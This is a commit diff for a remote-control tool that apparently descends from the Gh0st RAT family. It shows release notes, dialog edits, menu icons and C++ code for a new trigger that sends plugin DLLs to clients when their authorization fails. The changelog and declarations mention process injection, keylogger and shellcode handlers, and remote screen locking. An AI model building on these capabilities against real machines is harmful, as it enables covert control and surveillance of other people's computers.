Compare commits
3
Commits
d269df9171
...
v1.4.0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b89428bf35 | ||
|
|
3928dd76a3 | ||
|
|
d80d8f21da |
No files matched your search
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日志
|
## 更新日志
|
||||||
|
|
||||||
|
### v1.4.0 (2026.10.7)
|
||||||
|
|
||||||
|
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
|
||||||
|
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
|
||||||
|
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
|
||||||
|
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
|
||||||
|
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
|
||||||
|
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
|
||||||
|
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
|
||||||
|
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,CMD_FILE_SPEED 252)
|
||||||
|
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
|
||||||
|
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
|
||||||
|
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
|
||||||
|
- 即时消息弹窗标题乱码(GBK code_page 声明)
|
||||||
|
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
|
||||||
|
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
|
||||||
|
|
||||||
### v1.3.9 (2026.9.2)
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||||
|
|||||||
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
|
|||||||
|
|
||||||
## Changelog
|
## Changelog
|
||||||
|
|
||||||
|
### v1.4.0 (2026.10.7)
|
||||||
|
|
||||||
|
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
|
||||||
|
|
||||||
|
**New features:**
|
||||||
|
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
|
||||||
|
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
|
||||||
|
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
|
||||||
|
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
|
||||||
|
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
|
||||||
|
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
|
||||||
|
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
|
||||||
|
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
|
||||||
|
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
|
||||||
|
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
|
||||||
|
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
|
||||||
|
|
||||||
|
**Bug fixes:**
|
||||||
|
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
|
||||||
|
- Garbled instant-message popup title (GBK code_page declaration)
|
||||||
|
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
|
||||||
|
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
|
||||||
|
|
||||||
### v1.3.9 (2026.9.2)
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||||
|
|||||||
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日誌
|
## 更新日誌
|
||||||
|
|
||||||
|
### v1.4.0 (2026.10.7)
|
||||||
|
|
||||||
|
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
|
||||||
|
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
|
||||||
|
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
|
||||||
|
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
|
||||||
|
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
|
||||||
|
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
|
||||||
|
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
|
||||||
|
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,CMD_FILE_SPEED 252)
|
||||||
|
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
|
||||||
|
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
|
||||||
|
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
|
||||||
|
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
|
||||||
|
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
|
||||||
|
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
|
||||||
|
|
||||||
### v1.3.9 (2026.9.2)
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||||
|
|||||||
+8
-8
@@ -31,20 +31,19 @@ FONT 10, "System", 0, 0, 0x0
|
|||||||
BEGIN
|
BEGIN
|
||||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||||
END
|
END
|
||||||
|
|
||||||
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||||
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
CAPTION "Chat"
|
CAPTION "Chat"
|
||||||
FONT 10, "System", 0, 0, 0x0
|
FONT 10, "System", 0, 0, 0x0
|
||||||
BEGIN
|
BEGIN
|
||||||
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
|
||||||
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
|
||||||
PUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE
|
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
|
||||||
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE
|
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
|
||||||
END
|
END
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
//
|
//
|
||||||
// DESIGNINFO
|
// DESIGNINFO
|
||||||
@@ -56,6 +55,7 @@ BEGIN
|
|||||||
IDD_DIALOG, DIALOG
|
IDD_DIALOG, DIALOG
|
||||||
BEGIN
|
BEGIN
|
||||||
END
|
END
|
||||||
|
|
||||||
IDD_CHAT, DIALOG
|
IDD_CHAT, DIALOG
|
||||||
BEGIN
|
BEGIN
|
||||||
END
|
END
|
||||||
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,3,9
|
FILEVERSION 1,0,4,0
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -121,7 +121,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.3.9"
|
VALUE "FileVersion", "1.0.4.0"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -671,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
|||||||
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
|
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
|
||||||
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
|
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
|
||||||
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
|
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
|
||||||
|
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
|
||||||
|
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
|
||||||
|
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
m_ServerBin[i] = nullptr;
|
m_ServerBin[i] = nullptr;
|
||||||
@@ -4364,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
|
||||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
|
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
|
||||||
|
|
||||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||||
|
|
||||||
@@ -5748,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
|
|
||||||
// 统一的 V1/V2 授权验证
|
// 统一的 V1/V2 授权验证
|
||||||
std::string ip = ContextObject->GetPeerName();
|
std::string ip = ContextObject->GetPeerName();
|
||||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
|
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
|
||||||
valid = authorized;
|
valid = authorized;
|
||||||
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
|
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
|
||||||
|
|
||||||
@@ -7197,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
|
|||||||
// expired=true 表示签名有效但已过期(可用于续期)
|
// expired=true 表示签名有效但已过期(可用于续期)
|
||||||
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
|
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
|
||||||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||||||
const std::string& hmacV2, const std::string& ip, const char* source)
|
const std::string& hmacV2, const std::string& ip, const char* source,
|
||||||
|
CONTEXT_OBJECT* sender)
|
||||||
{
|
{
|
||||||
BOOL authorized = -1;
|
BOOL authorized = -1;
|
||||||
bool isV2 = false;
|
bool isV2 = false;
|
||||||
@@ -7223,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
|||||||
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||||
|
ExecuteAuthFailedTrigger(sender);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
|
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
|
||||||
@@ -7244,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
|||||||
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||||
|
ExecuteAuthFailedTrigger(sender);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -7340,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
|||||||
|
|
||||||
// 统一的 V1/V2 授权验证
|
// 统一的 V1/V2 授权验证
|
||||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
|
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
|
||||||
(void)expired; // 心跳不需要处理过期续期
|
(void)expired; // 心跳不需要处理过期续期
|
||||||
|
|
||||||
// 检查并发送预设续期(多点验证)
|
// 检查并发送预设续期(多点验证)
|
||||||
@@ -11471,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
|
||||||
|
{
|
||||||
|
if (!ctx || m_DllList.empty()) return;
|
||||||
|
|
||||||
|
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
|
||||||
|
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取触发器插件列表(从缓存获取)
|
||||||
|
auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
|
||||||
|
if (pluginNames.empty()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||||
|
|
||||||
|
// 遍历触发器配置的插件列表
|
||||||
|
for (const auto& pluginName : pluginNames) {
|
||||||
|
// 查找对应的 DLL
|
||||||
|
DllInfo* targetDll = nullptr;
|
||||||
|
for (auto& dll : m_DllList) {
|
||||||
|
if (dll && dll->Name == pluginName) {
|
||||||
|
targetDll = dll;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!targetDll || !targetDll->Data) {
|
||||||
|
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送 DLL 到客户端
|
||||||
|
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||||
|
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||||
{
|
{
|
||||||
CString clientIP(ip.c_str());
|
CString clientIP(ip.c_str());
|
||||||
|
|||||||
@@ -233,9 +233,10 @@ public:
|
|||||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||||
// expired=true 表示签名有效但已过期(可用于续期)
|
// expired=true 表示签名有效但已过期(可用于续期)
|
||||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||||
|
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
|
||||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||||
const char* source = "AUTH");
|
const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
|
||||||
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||||
@@ -431,7 +432,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[66];
|
CBitmap m_bmOnline[69];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -651,6 +652,7 @@ public:
|
|||||||
afx_msg void OnToolPluginSettings();
|
afx_msg void OnToolPluginSettings();
|
||||||
afx_msg void OnTriggerSettings();
|
afx_msg void OnTriggerSettings();
|
||||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||||
|
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
|
||||||
afx_msg void OnShellcodeAesCArray();
|
afx_msg void OnShellcodeAesCArray();
|
||||||
afx_msg void OnParamKblogger();
|
afx_msg void OnParamKblogger();
|
||||||
afx_msg void OnOnlineInjNotepad();
|
afx_msg void OnOnlineInjNotepad();
|
||||||
|
|||||||
@@ -526,6 +526,8 @@
|
|||||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||||
<Image Include="res\Bitmap\ClientLog.bmp" />
|
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||||
|
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||||
|
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||||
<Image Include="res\Bitmap\Forbidden.bmp" />
|
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||||
<Image Include="res\bitmap\compress.bmp" />
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\Bitmap\Copy.bmp" />
|
<Image Include="res\Bitmap\Copy.bmp" />
|
||||||
@@ -561,6 +563,7 @@
|
|||||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||||
|
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||||
<Image Include="res\Bitmap\proxy.bmp" />
|
<Image Include="res\Bitmap\proxy.bmp" />
|
||||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||||
|
|||||||
@@ -352,5 +352,8 @@
|
|||||||
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
||||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||||
|
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||||
|
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||||
|
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
|||||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||||
